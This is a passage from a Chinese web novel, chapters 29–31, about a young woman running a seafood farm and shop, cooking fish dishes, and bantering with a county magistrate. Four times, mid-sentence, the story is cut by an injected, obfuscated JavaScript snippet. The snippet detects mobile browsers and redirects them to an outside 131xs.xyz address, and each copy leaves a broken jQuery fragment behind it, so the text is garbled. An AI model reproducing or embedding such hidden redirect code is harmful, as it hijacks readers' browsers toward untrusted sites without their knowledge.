林秀秀撇了撇嘴,最近还有男子找媒婆上门说亲,结果都被推拒了,她这小姑子可不得了,人变得强势,眼光也高了,扬言要找个为人勤奋、养殖搞得好的。 哼,钱春香也就运气好一点,早早和云楚沅搞好关系才捞到了不少好处,这种好事怎么就轮不到她呢!不过,现在套近乎也不晚,她还指望云楚沅也能给她找个活计呢。 “嫂子,我还得去养殖区看看,就不陪你闲聊了。” 云楚沅不再理会酸溜溜的林秀秀,人各有命,你自己不努力,难道还指望着别人提携吗?又不是你亲娘,谁会无条件帮你啊。 晨曦微露的海边,潮汐退去,露出大片富含生机的浅海和滩涂,那是养殖户们辛勤劳作的战场,他们即将迎来翘首以盼的收获之时。 “楚沅啊,你那片海域的鱼虾是准备捞了吧。” 隔着老远,云楚沅就听到村长夫人的喊声,她带着几个妇人赶来帮忙,她们头戴宽边帽,脚步稳健地快步走向滩涂。 “婶子,你们家海鲜收完了?” 村长夫人小跑过来,气喘吁吁道:“刚收完,这不看你来了,我想着过来帮帮你。” 她身后跟来的几个妇人也纷纷点头,表示也想来帮忙,云楚沅打眼一瞧,她们全是第一批支持搞养殖业的人,来帮忙想必也是有感谢她的意思。 云楚沅莞尔一笑:“婶子,麻烦你们了。” 村长夫人弯下腰,手里拿着钳子,精准地抓住一个个埋在淤泥里的贝类,动作娴熟且迅速,嘴里还念叨着:“不麻烦,她们几个都是手脚勤快的。” 这边的动静吸引了不少人,周围忙完的人也自发地过来帮忙。 年轻力壮的汉子负责搬运较重的蟹笼,他们手臂上的肌肉鼓起,一把将蟹笼从水里提起,倒出里面张牙舞爪的螃蟹。 青壳白肚的螃蟹活力十足,它们在篓子里横冲直撞,摆动着钳子,仿佛也在庆祝这丰收的盛景。 大人们忙着丰收,孩子们也没闲着,他们提着小桶,成群结伴地在浅水区捡拾遗漏的小虾小蟹,银铃般的笑声回荡在海边。 随着太阳逐渐升高,养殖户们的收获进入收尾阶段,一筐筐翠绿的海带、新鲜的鱼虾、肥美的贝类被搬上岸边,堆成了小山,村民们脸上都带着满足的笑。 云楚沅用手背擦了擦粘在脸蛋上的泥点,左手轻捶后腰,右手揉着肩膀,即便有这么多人帮忙,这收海鲜的活也不轻松。 “婶子,谢谢你们帮忙,待会你们到我家吃午饭,把你们男人和孩子都带上。”云楚沅很感谢这几个主动来帮忙的婶子。 村长夫人搓着手上的泥,笑着说:“不用了,这是我们该做的。要说帮忙,你才是帮我们最多的,又是传授我们养殖的方法,又是给我们培养苗种的。没有你,我们怎么可能收获这么大。” 云楚沅坚持道:“一码归一码,你们来帮我干活,我没出钱,总得请你们吃顿饭呀。” 几位婶子推辞不过,只好答应下来,不过她们都不准备带男人来,他们一个个人高马大的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950574|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又那么能吃,还是不要带去别人家白吃粮食了。 婶子们要先回家给自家男人做好饭,再带着孩子去云家,云楚沅先一步回到家中,准备午间的丰盛大餐。 她罗列了一张菜单,上面写着豉汁蒸石斑鱼、香煎青花鱼、红烧马面鱼、干炸沙丁鱼、酸辣烩鱼块,这次她要做个全鱼宴! 豆豉剁碎,放入碗中,加入适量的酱油、白糖、蒜姜末、以及少许胡椒粉,酱油的咸香、白糖的甘甜、蒜姜的辛辣与豆豉的独特风味相结合,倒入热油激发出香味,调好的豉汁均匀地涂抹在石斑鱼上,上锅蒸。 石斑鱼的肉质鲜嫩爽滑,豉汁的香味深入其中,鱼肉的鲜美在浓厚豉汁的衬托下愈发鲜明。 煎好的青花鱼呈现出诱人的金黄色,仿佛被一层金光笼罩,鱼皮在高温的作用下变得焦脆,青花鱼骨头不多,骨头也被煎得酥脆可口。 云楚沅做了两道菜,家门就被敲响,婶子们都到了,她们涌进厨房,为她打下手。 “真香,楚沅我还没吃过你做的饭呢,借此机会我得好好尝尝。”一个面容和善的婶子出声说道,她吸着鼻子,嗅闻着空气中弥漫的香味。 “那你有口福了,上回楚沅来我们家做的鳗鱼饭我可是念念不忘。”村长夫人一边说笑,一边处理着马面鱼。 葱姜蒜入锅爆香,与马面鱼相伴的是酱油、糖等调味料,炖煮之时,汤汁逐渐变得浓稠,如同绸缎一般包裹着马面鱼。 云楚沅在灶前做饭,婶子们都围在她附近,聚精会神地看着她的动作。 见状,云楚沅开口说道:“这红烧的做法适用于所有鱼,而且还简单好学,调料主要以酱油和糖为主,慢炖而成。” 她从煸炒、上色、调味、焖烧、收汁这几个步骤讲了点小技巧,婶子们纷纷侧耳倾听,争取学一学,提升一下厨艺。 炸沙丁鱼之前,要先进行腌制,少许盐、几滴酱油,再加姜丝和葱段,几样简单的调料就能让沙丁鱼更好地入味,同时也能去除腥味,让鱼肉更加鲜美。 待油温六七成热,便可以开始下锅炸鱼,裹上面糊的沙丁鱼迅速凝固成型,形成一层金黄酥脆的外壳。 在此过程要控制好火候,太大容易焦糊,而火候太小则会使鱼吸收太多油脂,所以中火慢炸至金黄后便可捞出。 “咔嚓咔嚓!”云楚沅掰开薄薄的外衣,露出里面细腻柔软的白色鱼肉,分给婶子们先尝尝。 村长夫人嚼着酥脆的炸鱼,点了点头,“嗯,不错,外酥里嫩,这个炸沙丁鱼适合做下酒菜。” 最后一道酸辣烩鱼块适合口味重的人,炸过的鱼块捞出备用,茱萸、花椒、泡椒炒香,浓郁的辣味刺激着众人嗅觉,有吃不了辣的婶子当场打起了喷嚏。 而后加入姜片、蒜末煸炒,加水大火烧开,锅中翻滚的汤汁如同沸腾的红色海洋,炸好的鱼块放至锅中,醋、酱油、盐、糖进行调味,鱼块在酸辣的汤汁中烩煮,吸满酸辣的味道。 丰盛的全鱼宴摆上桌,众人围坐一堂,共享美味,品尝的不仅是鱼肉的鲜美,更是那份收获的喜悦。 29. 海味坊 早在这次养殖区丰收之前,云楚沅就托牙人置办好了铺子,这间铺子同在东街,位于云记食肆的不远处。 几个月的时间,云楚沅通过卖吃食和卖海鲜,赚了有好几百两银子,外债都还清后,又承包了好几亩海域,打造出更庞大的海洋牧场。 如此多的海鲜在临海县是卖不出去的,只能往外销售。 古代交通不发达,长途运输很难,距离海边较远的百姓们买不到鱼,而且海鲜的保质期短,需要将其加工保存,否则容易变质。 云楚沅开的海味坊便就是专门卖海鲜加工品的,但这间海味坊的店铺面积不大,仅能用来卖货。 所以她在小渔村买了块地,修建了一个加工坊,雇佣村里的老弱妇孺和周边乡里的村民来做工。 目前加工坊正在大规模地制作蚝油,这蚝油在临海县一经上市,便被一抢而空。 只因云记食肆和云记海味坊来了一次梦幻联动,云楚沅向常来的食客们大力宣传新产品,并扬言这是她们食肆饭菜香的秘密调料。 消息传出后,蚝油这个前所未有的调味料变得炙手可热起来。 海味坊开业当天还来了场试吃活动,咸甜适中、鲜香浓郁的蚝油,令所有尝过的人全都拍手叫绝,买回去的妇人当天炒菜时往里放了一点,确实好吃不少。 除此之外,云楚沅经过几日的精心调制,复刻出了万能调料海鲜酱,无论是拿它拌饭、拌面、炒饭、炒面,还是用来凉拌菜,都特别好吃,而且它还能当做海鲜火锅的蘸料。 小渔村的海鲜加工坊,热闹非凡。 村民们正忙着准备食材,一筐又一筐海鲜被送进来,海虾、海鱼、贝类都是刚刚从养殖区捞上来的,非常新鲜,它们是制作顶级海鲜酱的基础。 “哗啦啦!”村民们将海鲜倒入装满水的大盆里,用刷子仔细地将海鲜逐一清洗干净。 海虾被剥去坚硬的外壳,露出里面饱满紧实的虾肉;海鱼被刮去鱼鳞,村民们熟练去除内脏、剔除鱼刺,只留下鲜嫩的鱼肉;刷洗过的贝类被撬开外壳,取出肥美的肉。 处理海鲜的工作多是由妇人来做,她们在家中做惯了这些活计,妇人们坐在小板凳上,围坐在一起,一边说着家长里短,一边动手剥虾。 云楚沅来到加工坊时,就碰上这副热火朝天的场景,妇女们剥虾的手法非常绚烂,看的人眼花缭乱。 “楚沅来了!”村长夫人率先注意到她,甩了甩手上的水,赶忙站起来迎接。 其他人听见了,也纷纷起身向她问好,他们的样子不像是见到同村女郎,反倒像是看见县令大人似的,非常热情且恭敬。 云楚沅受宠若惊:“不必如此兴师动众,我只是个晚辈。” “咱们楚沅那可不是一般的小辈,你看这十里八乡,无论男女老少,有谁能比你能耐呀!”村长夫人将滴着水的手往围在身上的布兜上擦了擦,亲切地拉住云楚沅。 “云丫头不仅有能耐,还心善,你能生在小渔村,是我们的福气。” 一道平稳舒缓的女声响起,云楚沅转头看去,说话之人正是小周大夫的寡母周氏。 “周婶子,你身体吃得消吗?”云楚沅面露担忧,周婶前段时日身子大好,不再是那副病歪歪的样子, 海鲜加工坊招人时,周婶不想拖累儿子,也想赚点银钱补贴家用,她好说歹说地祈求云楚沅给她一个机会,让她也来加工坊做工。 周氏母子确实可怜,更别提周家还曾借给过云老爹银子,于情于理,云楚沅都拒绝不了她,便为周婶安排了一个剥虾的轻快活。 “云丫头,我没她们干活麻利,实在不好意思和她们拿一样的月钱,我拿一半就成。”周婶剥虾的速度不快,别人剥了一桶,她才将将半桶,要是碘着脸领同样的月钱,她良心不安。 “行,婶子你量力而行,要是累垮了身子,我可没法和周大夫交代。”云楚沅把周婶扶到座位上,轻笑着点点头。 周围不少嫂子婶子都在听着,就算她再怎么同情周婶,都不可能不顾及别人的感受,而且她是做生意的,又不是做慈善的。 倘若因为一时心软,开了这个先例,让周婶和别人拿一样的月钱,那以后谁还会服从她?手底下的这些干活的人谁还会认真做事? 闲聊过后,云楚沅顺着工坊内的流水线继续视察。 下一项是切割工序,村民们手持锋利的菜刀,将处理好的海鲜切成大小均匀的块状或条状,这样方便后续加工。 虾肉被切成小段,鱼肉被切成薄片,贝肉被切成丁状,切割后的海鲜分类填满一个个木桶,等待着下一道工序的进行。 炒制环节,巨大的铁锅中倒入大量的油,温度升高后,将切好的海鲜依次倒入锅中,瞬间,锅里油像是炸开了一般翻滚起来。 锅中热油发出“滋滋”的声响,虾肉被炸得通红,鱼肉在锅中卷曲收缩,贝类肉释放出浓郁的鲜味,整个加工坊都被这股香味充斥。 师傅们双手抬着大号铲子不断翻炒,让海鲜在其中均匀受热,直至被炸透,而后加入适量的调料,蒜末、盐、糖、酱油、黄酒等,调味料与海鲜交融,散发出更加浓郁的香味。 海鲜逐渐变得金黄,水分慢慢收干,此时便可以加入秘制调料,花椒、八角、桂皮、香叶、草果等各种香料混进去一起熬,形成一种神秘而独特的味道。 这其中有些香料还是云楚沅特意从药铺买来的呢,古代人做吃食根本不会用到这么多香料,它们基本上是作为药物来使用的。 云楚沅拿来大量香料熬酱时,村民们非常惊异,直到那股浓烈的香味散发出来,众人恍然大悟,原来药物还有这等妙用。 经过长时间的小火熬制,海鲜酱终于大功告成,空气中飘着的香味不仅包含了海鲜的鲜味,还有香料的辛香和甘香,让人闻之食欲大增。 浓稠的酱料色泽红亮,每一勺海鲜酱都饱含着多种海鲜的精华,鲜、香、甜、咸、辣各种味道缠绵在一起,平衡得恰到好处。 熬制好的海鲜酱冷却过后,被村民们小心翼翼地装入陶罐中,密封起来,它们将会走向千家万户,为各地百姓们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950575|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的餐桌上增添一道海味。 —— 时隔多日,云楚沅终于忙完海味坊筹备上新的事宜,她带着一马车的货物,回到了临海县。 “李掌柜,叫人来卸货!” 云楚沅冲着铺子吆喝一声,一位虎背熊腰的汉子跑了出来,此人是她招来的掌柜,李大强。 说来也巧,这李大强和云记颇有缘分,云记食肆刚开业时,他就是那头一位客人,自那以后,他便成了云记的常客。 这回听说云记新开的海味坊招人,他马不停蹄地赶来了,他虽然长得五大三粗,可是个心细之人,性格圆滑,办事也周到,云楚沅便把他留下了。 “东家,您的吩咐的事我都办妥了,后院修成了库房,找木匠打好了货架,还招了两个小伙计和一个账房先生,您进来瞧瞧。”李掌柜笑容满面地把云楚沅迎了进去,顺带招呼两名伙计去搬货。 云楚沅看了一圈,确实都到位了,便放下心来,准备打道回府,她可是有好几日没回县衙了。 “你还知道回来啊?我都好几日没吃过你做的膳食了,你该如何补偿我?” 路过主院,一道幽幽的声音传来,云楚沅脚下动作一顿,慢慢转过身子,尴尬地笑了笑,“裴大哥,好巧啊!你怎么站在这里?” 裴昱臣冷哼一声:“怎么?不想看见我?也对,你的心思都放在海味坊上,哪里还记得你还是我的厨娘呢。” 县令大人身上的怨气浓得都快化成实质了,可见他心里有多憋闷,双眸犹如深邃的古井,紧紧盯着云楚沅,把她看得低下了头。 云楚沅自知理亏,不敢还嘴。 这几日太忙了,不光是裴县令,就连小弟和小妹都被她抛之脑后了,反正他们在县衙吃好喝好,她忙忙事业怎么了嘛! 此刻,她就像是在外拼搏一家之主,回到家后,面对妻子的指责心虚不已、无力反驳。 云楚沅打了个寒颤,呸呸呸,什么乱七八糟的! 她停止胡思乱想,偷偷打量着裴昱臣的脸色,小心翼翼道:“裴大哥,我特意为你带回来了一瓶海鲜酱,即便我在外面忙,我心里也记挂着你,方才我还念叨着要给你做一道海鲜酱拌面呢!” 裴昱臣的脸色好看了不少,如同被春风吹拂过一般,云开雾散,眉宇间恢复了往日里的沉稳,他矜持地点点头,“嗯,你快去吧,我等你。” 云楚沅脚底抹油,飞快溜去了厨房,她松了口气,这小书生还真好哄,看他那板着脸的严肃样,她差点以为自己要被赶出县衙了呢。 剁碎的猪肉下锅煸炒,云楚沅参考炸酱面的做法,把酱料替换成了海鲜酱,海鲜酱不仅能抑制腥味,还能提鲜,猪肉与海鲜酱的结合,使得猪肉更加鲜美。 煮好的面条淋上两勺肉酱,面条的劲道、肉酱的浓郁、海鲜的鲜香,再搭配上葱花和菜蔬,让整碗面的味道更加多元化。 过完嘴瘾的裴县令笑容更加温柔,“楚沅,这两日你辛苦了,回房好好歇息吧。” 云楚沅皮笑肉不笑地说道:“是,大人。” 30. 别欺负我了 县衙书房,云楚沅正在向裴昱臣汇报近几日的工作情况,当初她可是夸下海口,要凭一己之力拉动临海县的经济,那必须要做出成绩来。 “大人,我的初步计划已经完成,以小渔村为试验点,大兴养殖业,渔民们的收入逐步稳定下来,且比之前翻了数番。” 裴昱臣轻轻点头:“不错,如你所说,我投进去的钱也回本了,想来渔民们赚的只会多不会少。” 云楚沅小嘴一撅,面带不满地娇嗔道:“裴哥哥,你还好意思说呢,你倒好,做了甩手掌柜,而我成日里忙进忙出的,还要被你埋怨,哼!” 云楚沅越说越生气,这人真不够意思,她又要管理养殖、又要筹备开店,还得给他做饭,她可真是个劳碌命!非但得不到他的夸奖,还要被他甩脸子,真是吃力不讨好! 听着她的满腹牢骚,裴昱臣微微一怔,他抬起指骨分明的手,不自在地摸了一下自己的鼻尖,想要借此缓解尴尬的情绪。 裴昱臣在心里反思,他见到云楚沅的反应确实过激了,明知道她在忙着带领全村百姓发家,明知道她在做的是利民的好事,怎能一见面就发泄自己的不满呢。 裴昱臣之所以如此,全是因为这几日县衙里的伙食令人难以下咽,他偶尔去云记食肆打打牙祭,也觉得不对味。 见不到云楚沅,裴昱臣茶不思饭不想,他甚至产生了一种错觉,他这张嘴是不是离不开她了。 裴昱臣的眼神中闪过一丝不易察觉的慌乱,鼻翼轻轻翕动了一下,掩饰住内心的窘迫,轻咳一声道:“是我不好,我不该说你的不是。若你能消气,叫我做什么都行。” “哦?做什么都行?”云楚沅来了兴致,这可是小书生自己说的啊。 “嘻嘻嘻!”云楚沅搓了搓手,贼笑着靠近坐在桌案后的裴昱臣,身体前倾,一只手撑着桌面,一只手托腮,调笑道:“小哥哥,这么说的话,我对你做什么都可以喽?你保证不会反抗吗?” 这宛如登徒子的行径,令裴昱臣皱起了眉,身子后仰,靠在椅背上,轻声说道:“楚沅,你不要离我如此近,男女有别。” 云楚沅凑近他的耳畔,吐气如兰,引得裴昱臣的耳尖泛起红晕,她伸出纤细的手指,轻轻点了点小书生的胸膛,“我就要离你这么近,你待如何?”说罢,她故意用不怀好意的眼神在他的脸上流转。 裴昱臣咽了咽口水,不自觉攥紧手里握着的书籍,他看向女子那近在咫尺的白皙面庞,她眉眼间皆是灵动的笑意。 他垂下眼睑,故作镇定地说道:“我自然不能把姑娘怎样,但倘若姑娘执意如此,要是在下做出什么出格之事,你可不要后悔。” 哈哈,出格之事?这色厉内荏的小书生以为她会被吓到吗? 云楚沅不吃他这一套,她轻轻一笑,伸手为裴昱臣捋了捋的衣领,指尖顺着他的脖颈向下滑动,眼瞧着小书生紧闭双眼,喉结止不住地上下滚动。 她朝着他通红的耳朵吹了口气,轻声说道:“大人莫要嘴硬了,瞧你这副欲拒还迎的样子,怕是心里早就乐开了花吧。” 裴昱臣的脸愈发红了,他身体紧紧往后靠去,想要与女子拉开些距离,“刺啦!”滑行的木椅在地面上摩擦出刺耳的声音。 他死死闭上眼睛,仿佛是在逃避现实,却不想云楚沅步步紧逼,向前凑了几分,又冲着小书生鸦羽般的长睫毛吹了口气,她刻意压低声音,用魅惑的声线说道:“嗯?裴大人敢做不敢当吗?” 感受到喷洒在眼皮处的热气,裴昱臣的睫毛控住不住地颤抖,无法,他只能向这个心眼忒坏的女子求饶,“云姑娘,你明明知道我不是这个意思,干嘛要如此欺负我?” 他的声音擅抖,隐隐还能听到一丝哽咽,云楚沅诧异极了,这小书生不光纯情,还很脆弱。 云楚沅尴尬地挠了挠头,他这副样子显得她是什么恶霸一样,“好啦好啦,我不说就是了!你裴县令最清高了,岂是我这等粗鄙的渔家女能玷污的呢。” 裴昱臣身形一顿,忽的一下睁开眼,直直对上云楚沅的视线,认真道:“姑娘何必妄自菲薄,你有许多长处,怎会是粗鄙之人呢?你心地善良、厨艺高超、擅长经商、心系百姓,我从未见过比你再好的女子了。” 看着他眼底泛红,还在一本正经地宽慰她,云楚沅心里好笑,这人的情绪来得快去得也快,一点也不记仇。 “听裴大人的意思,这天底下没有比我再优秀的女子喽?那你是不是心动了?”云楚沅忍不住又嘴贱。 “咳,云姑娘,实不相瞒,在下如今的心思并不在男女之情上,临海县百姓的日子还没好起来,我的凌云之志尚未实现,暂且不会成家。” “我懂我懂,先立业后成家嘛,我也是如此想的!我自己有能力赚钱,为何还要被困于后宅?一想到女子嫁人以后要相夫教子,我就恐婚!我以后定要找个不拘束我的男子做相公。” 云楚沅无法理解古代人盲婚哑嫁的思想,成婚又不是一件必须要完成的事,终身大事必须要慎之又慎,共度一生之人宁缺毋滥。 裴昱臣并未批判云楚沅特立独行的思想,反而很是赞同,“女子不是非要依靠男子生存的,就好比我的母亲,她独自一人含辛茹苦地将我养大,从未考虑过再嫁,我对母亲只有尊敬和钦佩。” “嗯,你母亲确实伟大,能教养出如此优秀的儿子,她肯定是位通透之人。” 云楚沅很开心,裴昱臣是自她穿越以来,遇上的少见的支持女子独立的人,还有他的母亲,若是她还在世,她们肯定会有共同语言。 换了个话题后,裴昱臣的心情慢慢平复下来,再回想起方才自己被小姑娘逼迫的模样,莫名有些羞耻,他年长云楚沅四岁有余,却被她欺负得无地自容,实在丢脸。 他不愿再回忆起自己窘迫的样子,却不得不再度提及他的承诺,“咳,楚沅,我方才说的事还作数,不过你不可再捉弄我了。” 云楚沅还是有分寸的,这小书生再逗下去,怕是要哭了,她收敛起脸上的笑意,正儿八经地说道:“既然大人都这么说了,我也不好推辞。” 裴昱臣肉眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950576|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可见地松了口气,他真怕云楚沅的嘴里再吐露出什么孟浪之言。 云楚沅眼珠子一转,想出了一个好主意,“裴大哥,若你真的诚心悔悟,那就把我的委屈感受一遍,我要你现在为我做一顿膳食!” 做膳食?裴昱臣表情有些为难,别的事都好说,可这烹调之事,他是一窍不通呀。 瞧他面露犹豫,云楚沅突然拉下脸来,不高兴地开口:“怎么,我这点小小的要求裴大人都做不到?” 说罢,她又作出一副委屈的样子,低下头擦拭眼角,“呜~人家只是想让你感同身受一下,难不成你要说话不算话吗?” 裴昱臣感到一阵头疼,他用手按了按额角,妥协道:“君子一言,驷马难追。” “好耶!”云楚沅的脸色一变,宛如雨过天晴。 裴昱臣摇头失笑,罢了,能让她开心,他出一次糗又何妨。 —— “多了多了,水加多了!” 县衙的膳房里鸡飞狗跳,不停传来锅碗瓢盆摔打声和女子娇蛮的说话声。 裴昱臣修长的手指搭在面盆边缘,垂落的眸光紧紧凝视着手指间粘连的一坨面疙瘩,他不禁面露苦笑,和面真不是谁都能做好的。 谁能想到,大名鼎鼎的新科状元能在庖厨将自己搞得如此狼狈。 “水多了,再加些面!”云楚沅双手背在身后,不紧不慢地指挥。 面粉扬起,似轻烟缭绕,扑上了男子的发丝和眉梢,鼻尖也沾上了一抹白,他还浑然不觉。 “噗嗤!”这副诙谐的模样逗笑了云楚沅,向来沉着冷静的裴县令,也有如此手忙脚乱的时候啊。 裴昱臣抬手抹去脸上的面粉,宽袖不经意滑落,露出骨节分明的手腕,他虽发丝凌乱、衣衫染尘,却仍旧难掩那股超凡脱俗的气质。 裴昱臣手下力道加重,本想将黏糊糊的面疙瘩聚拢成团,却不想用力过猛,不听话的面团像脱缰的野马一般,从指缝间“哧溜”一下窜出去,掉到了地上。 看他受挫,云楚沅大发慈悲地指点了两句,“先倒入一部分水,用筷子将面粉搅成絮状,再开始揉面,用手掌根部推揉面团,向前推再折叠回来,反复如此。” 裴昱臣虚心受教,按照她说的那样重新和面,先拌成絮状,再轻缓揉搓,面粉沾满他的手指和掌心,扑簌簌地落下,裴昱臣的目光牢牢锁住手中逐渐成型的面团,专注得仿若世间再无旁物。 “不错,孺子可教也。”云楚沅满意地点点头,不愧是聪明人,学什么都快。 折腾了这么久,裴昱臣的额头上渗出一层细密的汗珠,沿着鬓角悄然滑落,洇湿的几缕乌发贴在脸庞,他无暇顾及,结实的手臂持续发力,将面团反复推拉、折叠。 在云楚沅的指导下,裴昱臣将醒发好的面团擀平切割,入锅煮熟,盛出后舀上两勺海鲜酱拌了拌。 他夹起一筷子尝了尝,虽没有云楚沅做的那样筋道,可也算得上不错。 裴昱臣心里感慨万分,想不到有一日,他也能吃上自己亲手做的食物。 31. 五香酥带鱼 膳房里的动静很是热闹,里面的嬉笑声传了出来,下人们围在不远处偷偷张望,窃窃私语。 “诶,你们听说了吗?咱们县令大人要亲自做吃食,还把伙夫们都赶出来了。” “读书人不是说什么君子远庖厨吗?大人这是作甚?” “你懂什么?大人这是为云姑娘洗手作羹汤呢!” “哦?你的意思是说!” “哼哼,我绝对不会看错的,他们两人过来的时候眉来眼去的,定是发生了什么事。” “你是说,大人在书房就……” “大人风华正茂、年轻气盛,又不是坐怀不乱的柳下惠,把持不住是难免的。” 下人们聚在一起叽叽喳喳地各抒己见,声音越来越大,终于是惊动了膳房里的两人。 “你们在议论何事?” “还能是什么,当然是咱们县令大人和云姑娘的喜事!”说话的下人听到有人询问,不假思索地回答。 待发现周围鸦雀无声时,他才发觉到不对劲,转身一看,裴大人背着手站在不远处,铁青着脸注视着他。 “大……大人,小的知错。”这位小厮吓得立马跪下,瑟瑟发抖地求饶,其他人也噤若寒蝉,生怕触怒了县令大人。 裴昱臣面色冷峻,沉声说道:“在背后议论本官,你们在县衙就是这么当差的吗?” 跪在地上的小厮冷汗直冒,平日里裴昱臣待下人和善,以至于他们都忘了他的杀伐果决,如今都有胆子说他的私事了。 云楚沅一从膳房出来,就瞧见院子里跪满了下人,把她吓了一大跳,“怎么了这是?” 裴昱臣严肃的表情也许会令下人害怕,却唬不住云楚沅,毕竟这人害羞脸红的模样她见过太多次了,他高岭之花的形象在就在她这里破灭了,如今看他这副装腔作势的样子,她只觉得有趣。 “呵,他们在背后编排我们二人,简直是胆大包天,我定要好好罚一罚他们,叫他们长个记性,青竹!”裴昱臣朝着院外高喊。 青竹迈着小碎步走了进来,察言观色道:“大人,这群下人若是做错了事,发卖了便是,您可别气坏了身子。” “把他们拖出去,通通打二十大板。” 裴昱臣说完,下人们纷纷磕头,“谢大人饶命。” “嗐,就这点小事,罚罚月钱就好了,不用动刑吧。”云楚沅出声劝道,既然这些下人不好好做事,玩忽职守,那就罚他们扣工资好了,这可是打工人最怕的事。 果不其然,她这话一出,有几个视财如命的小厮咬紧了牙关,他们宁愿挨板子,又不会掉块肉,顶多身上疼一疼就过去了,可银子要是没了那可就真没了。 “也好,那就听你的吧,省得传出去,外人说我苛待下人。”裴昱臣同意了云楚沅的要求,这件事毕竟关乎她的名声,裴昱臣自然是要依她之见。 下人们退出院子后,有几个还在相互使眼色,在他们看来,裴大人这么听云姑娘的话,肯定有猫腻,只是他们人微言轻,说的话被认为是捕风捉影,根本没人信服。 —— 云楚沅出了县衙,准备去铺子巡视一圈,走近云记食肆,瞧见门口有两个熟人在拉拉扯扯。 她定睛一看,钱春香小脸通红地扯着于汤的衣角,两人正在说着什么,云楚沅眼珠子一转,暗道,这两人不对劲! 人类的本质是八卦,云楚沅怎么能错过这个吃瓜的机会呢,她蹑手蹑脚地靠近墙角,侧耳倾听。 “阿汤哥,你日日来送货,辛苦了,给你用这个擦擦汗吧。” “不必……” “这是我自个绣的帕子,又不值什么钱,你就收下吧。还是你嫌弃我绣工不好,不愿意用?” “我……” “我就知道你不会嫌弃,这上面的小鱼还是按照你上次捞到的那只奇特的小蓝鱼绣的呢!” “呃……” “阿汤哥,你也觉得很好看是吗?你喜欢,我就送给你了。” “这……” “哎呀,你再不收下,我就亲自为你擦汗啦!” “好吧……” 云楚沅的双眼炯炯有神,这两个人是怎么驴头不对马嘴还能聊到一块去的?春香姐真厉害,阿汤哥这个闷葫芦一句话都不用说,她就能知道他在想什么了吗? “春香,来客人了,你在外头干嘛呢!” 钱婶大嗓门的喊声从食肆内传来,钱春香转过头去冲着里面回了一声“诶!” 接着她又看了于汤两眼,手指绞着衣角,轻声说道:“阿汤哥,我要进去干活了,你有没有想跟我说的?” 于汤不明所以,试探地开口:“呃,别偷懒?” “……”钱春香的脸一下子就跨了下来,她咬了咬嘴唇,嗔怪道:“我恨你是个木头!”说完,她捂着脸飞奔回铺子里。 留下摸不着头脑的于汤留在原地发愣。 “噗嗤!”云楚沅忍不住喷笑出来,原来是落花有意流水无情啊,愧她还以为自己要亲眼见证一对有情人确定心意呢。 角落的动静吸引了于汤的注意,他闻声望去,发现云家女郎做贼一般,躲在自家铺子旁边的小巷口,偷偷摸摸的,不知在干什么。 于汤走过去,疑惑地问道:“云妹子,你躲在这里做什么?” 掩耳盗铃的云楚沅把挡在脸前的手放下来,她尴尬地笑了笑,“我在这欣赏风景。” 于汤看了看她身后破败的小巷子,又抬头瞧了瞧落灰的墙壁,感到莫名其妙,这里有什么好看的吗? 云楚沅拔腿就跑,顺便丢下一句话,“阿汤哥,你就是根木头!” 于汤不明所以地挠了挠头,小声说道:“怪不得有句话说,女人心海底针。”对他这个常出海捕捞的人来说,海底针那是不可能找到的,所以女子的心思他确实也猜不透。 一走进云记食肆,云楚沅就看见钱春香心不在焉地用抹布擦桌子,她神情呆愣,同一个位置反复擦来擦去,明显是在走神。 “咳咳!”云楚沅走近,故意咳嗽了两声。 钱春香如梦初醒,表情慌乱地说道:“楚沅,你什么时候来的?我不是在躲懒,我只是……只是……” 她结结巴巴,说不出个所以然,云楚沅挑眉接话:“只是芳心暗许,整颗心不在云记食肆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950577|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,跟着某人回小渔村了吧。” “楚沅,你!你怎么知道?方才你都看见了?” 钱春香大惊失色,她从未向任何人透露过自己的心思,就连她亲娘都不知晓,没想到这回被云楚沅撞了个正着,她脸色羞窘地把头埋在胸前。 